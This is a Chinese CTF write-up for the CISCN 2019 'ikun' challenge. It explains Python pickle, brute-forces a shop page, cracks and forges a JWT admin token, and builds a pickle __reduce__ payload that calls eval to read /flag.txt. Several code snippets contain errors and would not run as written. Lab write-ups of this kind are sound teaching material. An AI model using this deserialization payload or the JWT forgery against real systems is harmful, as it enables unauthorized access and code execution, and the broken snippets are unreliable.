ciscn2019ikun

前置知识点:
一、python反序列化
python序列化反序列化模块之pickle~
pickle模块可存储数据类型
1.所有python支持的原生类型:布尔值,整数,浮点数,复数,字符串,字节,none
2.由任何原生类组成的列表,元组,字典和集合。
3.函数,类,类的实例。

pickle模块中常用的方法有
1.pickle.dump(obj,file,protocol=none)
obj为 将要封装对象;file为obj要写入的文件对象,file必须以二进制可写模式打开"wb";可选参数protocol表示告知pickle使用的协议。

2.pickle.load(file,*,fix_import=Ture,encoding=“ASCII”,errors=“strict”)
必填参数file要以二进制可读模式打开,即”rb“,其他都为可选参数

3.pickle.dumps(obj):以字节对象形式返回封装的对象,不需要写入文件中。

4.pickle.loads(bytes_object):从字节对象中读取被封装的对象,并返回pickle模块可能出现的三种异常。
PickleError:封装和拆封时出现的异常类,继承自Exception
PicklingError:遇到不可封装的对象出现的异常,继承自PickleError
UnPicklingError:拆封对象过程中出现的异常,继承自PickleError

import pickle
aString = 'sadasda'
aDict = {'p':'python','r':'rust','s':'swift'}
aList = {'one','two','three'}
f = open{'test.pkl','wb'}
pickle.dump(aString,f,True)
pickle.dump(aDict,f,True)
pickle.dump(aList,f,True)
f.colse()
f1 = open('test.pkl','rb')
a = pickle.load(f1)
a
'sadasda'
b = pickle.load(f1)
b
{'p':'python','r':'rust','s':'swift'}
c = pickle.load(f1)
c
{'one','two','three'}
//输出顺序类似于队列先进先出
//dump多少load多少,没有后报错

题解
打开题目看到hint
在这里插入图片描述我们需要找到lv6
点击页面查看发现page为参数可通过page改变页数。
尝试寻找lv6,无果。
写脚本寻找lv6

import requests
url = "http://148eb42d-29c2-46fd-894b-ee6014361c13.node4.buuoj.cn"

for i in range(1,1000):
	r = requests.get(url+"shop?page="+i)
	r = r.text
	if "lv6.png" in r.read().decode('utf-8'):
		print(i)
		break

输出结果lv6在181页

打开页面想要购买发现需要先注册

遂注册账号,发现1000块买不起lv6,过于贫穷。
在这里插入图片描述在这里插入图片描述抓包尝试修改价格和折扣发现都无法成功购买
购买失败后发现页面出现了302跳转,我们访问看看
在这里插入图片描述哦豁,界面只允许admin访问
尝试一下啊能不能注册个admin或者是不是弱口令
不是不是都不是
再看看之前抓的包,诶,好家伙这不是有个jwt
用jwt-cracker爆破一哈喃,据说还有这个c-jwt-cracker

跑出来密钥为1Kun
再去jwt.io加密一下
在这里插入图片描述加密后复制到bp中发送,hackbar没整明白
刷新后现实登陆成功页面,ummmm也一键成不了大会员,害。

那先看看源码喃。
在这里插入图片描述好家伙,你删了跑了我搁这找半天,逗我玩呢呜呜呜。
那我们就下源码审计一下吧,虽然并不大会
反正我是借鉴的 ,Admin.py里有东西,先看看啊。
在这里插入图片描述这个类里有两个函数噶,get(),post()。这起名很难不让我们知道是在传参对吧~
get里没啥特别的,要求以admin登录就行
post将become的值进行传参,哦豁,他对become进行了反序列化操作哈哈哈哈。

再继续研究一下如何对become进行利用

import pickle
import urllib
 
class payload(object):
    def __reduce__(self):
       return (eval, ("open('/flag.txt','r').read()",))
# __reduce__:当定义扩展类型时(也就是使用Python的C语言API实现的类型),如果你想pickle它们,你必须告诉Python如何pickle它们。
# __reduce__ 被定义之后,当对象被Pickle时就会被调用。
# 它要么返回一个代表全局名称的字符串,Pyhton会查找它并pickle,要么返回一个元组。
# 这个元组包含2到5个元素,其中包括:
#       一个可调用的对象,用于重建对象时调用;【我们这里的eval】
#       一个参数元素,供那个可调用对象使用; 【我们这里的open('/flag.txt','r').read()】
#       被传递给 __setstate__ 的状态(可选);
#       一个产生被pickle的列表元素的迭代器(可选);
#       一个产生被pickle的字典元素的迭代器(可选)
a = pickle.dumps(payload())
# pickle.dumps(obj):以字节对象形式返回封装的对象,不需要写入文件中
a = urllib.quote(a)
print a

我们将定义好的__reduce__传入become
become接收参数后进行pickle操作
reduce 被定义之后,当对象被Pickle时就会被调用。
故成功调用__reduce__!

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值